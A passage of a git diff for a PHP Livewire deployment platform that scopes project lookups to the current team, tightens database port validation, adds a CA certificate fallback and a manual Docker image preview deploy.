force_rebuild: $force_rebuild, pull_request_id: $pull_request_id, git_type: $found->git_type ?? null, + docker_registry_image_tag: $docker_registry_image_tag, ); if ($result['status'] === 'queue_full') { $this->dispatch('error', 'Deployment queue full', $result['message']); @@ -277,6 +309,32 @@ protected function setDeploymentUuid() $this->parameters['deployment_uuid'] = $this->deployment_uuid; } + public function addDockerImagePreview() + { + $this->authorize('deploy', $this->application); + $this->validateOnly('manualPullRequestId'); + $this->validateOnly('manualDockerTag'); + + if ($this->application->build_pack !== 'dockerimage') { + $this->dispatch('error', 'Manual Docker Image previews are only available for Docker Image applications.'); + + return; + } + + if ($this->manualPullRequestId === null || str($this->manualDockerTag)->isEmpty()) { + $this->dispatch('error', 'Both pull request id and docker tag are required.'); + + return; + } + + $dockerTag = str($this->manualDockerTag)->trim()->value(); + + $this->add_and_deploy($this->manualPullRequestId, null, $dockerTag); + + $this->manualPullRequestId = null; + $this->manualDockerTag = null; + } + private function stopContainers(array $containers, $server) { $containersToStop = collect($containers)->pluck('Names')->toArray(); diff --git a/app/Livewire/Project/CloneMe.php b/app/Livewire/Project/CloneMe.php index 3b3e42619..93eb2a78c 100644 --- a/app/Livewire/Project/CloneMe.php +++ b/app/Livewire/Project/CloneMe.php @@ -54,7 +54,7 @@ protected function messages(): array public function mount($project_uuid) { $this->project_uuid = $project_uuid; - $this->project = Project::where('uuid', $project_uuid)->firstOrFail(); + $this->project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail(); $this->environment = $this->project->environments->where('uuid', $this->environment_uuid)->first(); $this->project_id = $this->project->id; $this->servers = currentTeam() @@ -100,7 +100,7 @@ public function clone(string $type) if ($foundProject) { throw new \Exception('Project with the same name already exists.'); } - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $this->newName, 'team_id' => currentTeam()->id, 'description' => $this->project->description.' (clone)', @@ -139,7 +139,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'status' => 'exited', 'started_at' => null, @@ -187,7 +187,8 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $newDatabase->id, ]); @@ -216,7 +217,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $newDatabase->id, ]); $newStorage->save(); @@ -229,7 +230,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $newDatabase->id, 'database_type' => $newDatabase->getMorphClass(), @@ -247,7 +248,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill($payload); + ])->forceFill($payload); $newEnvironmentVariable->save(); } } @@ -258,7 +259,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'environment_id' => $environment->id, 'destination_id' => $this->selectedDestination, @@ -276,7 +277,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'service_id' => $newService->id, 'team_id' => currentTeam()->id, @@ -290,7 +291,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $newService->id, 'resourceable_type' => $newService->getMorphClass(), ]); @@ -298,9 +299,9 @@ public function clone(string $type) } foreach ($newService->applications() as $application) { - $application->update([ + $application->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $application->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -315,7 +316,8 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -344,7 +346,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $application->id, ]); $newStorage->save(); @@ -352,9 +354,9 @@ public function clone(string $type) } foreach ($newService->databases() as $database) { - $database->update([ + $database->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -369,7 +371,8 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -398,7 +401,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $database->id, ]); $newStorage->save(); @@ -411,7 +414,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $database->id, 'database_type' => $database->getMorphClass(), diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index 0fff2bd03..a18022882 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -76,7 +76,7 @@ class BackupEdit extends Component public bool $dumpAll = false; #[Validate(['required', 'int', 'min:60', 'max:36000'])] - public int $timeout = 3600; + public int|string $timeout = 3600; public function mount() { diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 9de75c1c5..e06629d10 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -79,9 +79,9 @@ protected function rules(): array 'clickhouseAdminUser' => 'required|string', 'clickhouseAdminPassword' => 'required|string', 'image' => 'required|string', - 'portsMappings' => 'nullable|string', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -94,6 +94,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'clickhouseAdminUser.required' => 'The Admin User field is required.', 'clickhouseAdminUser.string' => 'The Admin User must be a string.', @@ -102,6 +103,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -119,8 +122,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); @@ -207,6 +210,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index d35e57a9d..591780cfb 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -90,9 +90,9 @@ protected function rules(): array 'description' => ValidationPatterns::descriptionRules(), 'dragonflyPassword' => 'required|string', 'image' => 'required|string', - 'portsMappings' => 'nullable|string', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -106,12 +106,15 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'dragonflyPassword.required' => 'The Dragonfly Password field is required.', 'dragonflyPassword.string' => 'The Dragonfly Password must be a string.', 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -128,8 +131,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -217,6 +220,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } @@ -276,8 +282,8 @@ public function regenerateSslCertificate() } SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index adb4ccb5f..35799e55f 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -36,9 +36,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -93,9 +93,9 @@ protected function rules(): array 'keydbConf' => 'nullable|string', 'keydbPassword' => 'required|string', 'image' => 'required|string', - 'portsMappings' => 'nullable|string', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -111,12 +111,15 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'keydbPassword.required' => 'The KeyDB Password field is required.', 'keydbPassword.string' => 'The KeyDB Password must be a string.', 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -134,8 +137,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -224,6 +227,9 @@ public function submit() try { $this->authorize('manageEnvironment', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } @@ -269,9 +275,20 @@ public function regenerateSslCertificate() ->where('is_ca_certificate', true) ->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 14240c82d..5615765fd 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -42,9 +42,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -78,9 +78,9 @@ protected function rules(): array 'mariadbDatabase' => 'required', 'mariadbConf' => 'nullable', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -92,6 +92,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'mariadbRootPassword.required' => 'The Root Password field is required.', @@ -100,6 +101,8 @@ protected function messages(): array 'mariadbDatabase.required' => 'The MariaDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -159,8 +162,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -213,6 +216,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } @@ -289,6 +295,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 11419ec71..0bc6d1e2f 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -40,9 +40,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -77,9 +77,9 @@ protected function rules(): array 'mongoInitdbRootPassword' => 'required', 'mongoInitdbDatabase' => 'required', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -92,6 +92,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'mongoInitdbRootUsername.required' => 'The Root Username field is required.', @@ -99,6 +100,8 @@ protected function messages(): array 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', @@ -158,8 +161,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -213,6 +216,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } @@ -297,6 +303,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 4f0f5eb19..df244662e 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -42,9 +42,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -80,9 +80,9 @@ protected function rules(): array 'mysqlDatabase' => 'required', 'mysqlConf' => 'nullable', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -95,6 +95,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'mysqlRootPassword.required' => 'The Root Password field is required.', @@ -103,6 +104,8 @@ protected function messages(): array 'mysqlDatabase.required' => 'The MySQL Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', @@ -164,8 +167,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -220,6 +223,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } @@ -301,6 +307,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 4e044672b..f862e0cc6 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -46,9 +46,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -92,9 +92,9 @@ protected function rules(): array 'postgresConf' => 'nullable', 'initScripts' => 'nullable', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -107,6 +107,7 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'postgresUser.required' => 'The Postgres User field is required.', @@ -114,6 +115,8 @@ protected function messages(): array 'postgresDb.required' => 'The Postgres Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', @@ -179,8 +182,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -264,6 +267,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], @@ -456,6 +470,9 @@ public function submit() try { $this->authorize('update', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } if (str($this->publicPort)->isEmpty()) { $this->publicPort = null; } diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index ebe2f3ba0..2eec14c01 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -73,9 +73,9 @@ protected function rules(): array 'description' => ValidationPatterns::descriptionRules(), 'redisConf' => 'nullable', 'image' => 'required', - 'portsMappings' => 'nullable', + 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -89,10 +89,13 @@ protected function messages(): array { return array_merge( ValidationPatterns::combinedMessages(), + ValidationPatterns::portMappingMessages(), [ 'name.required' => 'The Name field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'redisUsername.required' => 'The Redis Username field is required.', @@ -148,8 +151,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -201,6 +204,9 @@ public function submit() try { $this->authorize('manageEnvironment', $this->database); + if ($this->portsMappings) { + $this->portsMappings = str($this->portsMappings)->replace(' ', '')->trim()->toString(); + } $this->syncData(true); if (version_compare($this->redisVersion, '6.0', '>=')) { @@ -282,9 +288,20 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Livewire/Project/DeleteProject.php b/app/Livewire/Project/DeleteProject.php index a018046fd..d95041c2d 100644 --- a/app/Livewire/Project/DeleteProject.php +++ b/app/Livewire/Project/DeleteProject.php @@ -21,7 +21,7 @@ class DeleteProject extends Component public function mount() { $this->parameters = get_route_parameters(); - $this->projectName = Project::findOrFail($this->project_id)->name; + $this->projectName = Project::ownedByCurrentTeam()->findOrFail($this->project_id)->name; } public function delete() @@ -29,7 +29,7 @@ public function delete() $this->validate([ 'project_id' => 'required|int', ]); - $project = Project::findOrFail($this->project_id); + $project = Project::ownedByCurrentTeam()->findOrFail($this->project_id); $this->authorize('delete', $project); if ($project->isEmpty()) { diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 634a012c0..99fb2efc4 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -41,8 +41,8 @@ public function submit() // Validate for command injection BEFORE saving to database validateDockerComposeForInjection($this->dockerComposeRaw); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); $destination_uuid = $this->query['destination']; $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); @@ -54,7 +54,7 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $service = Service::create([ + $service = Service::forceCreate([ 'docker_compose_raw' => $this->dockerComposeRaw, 'environment_id' => $environment->id, 'server_id' => (int) $server_id, diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index 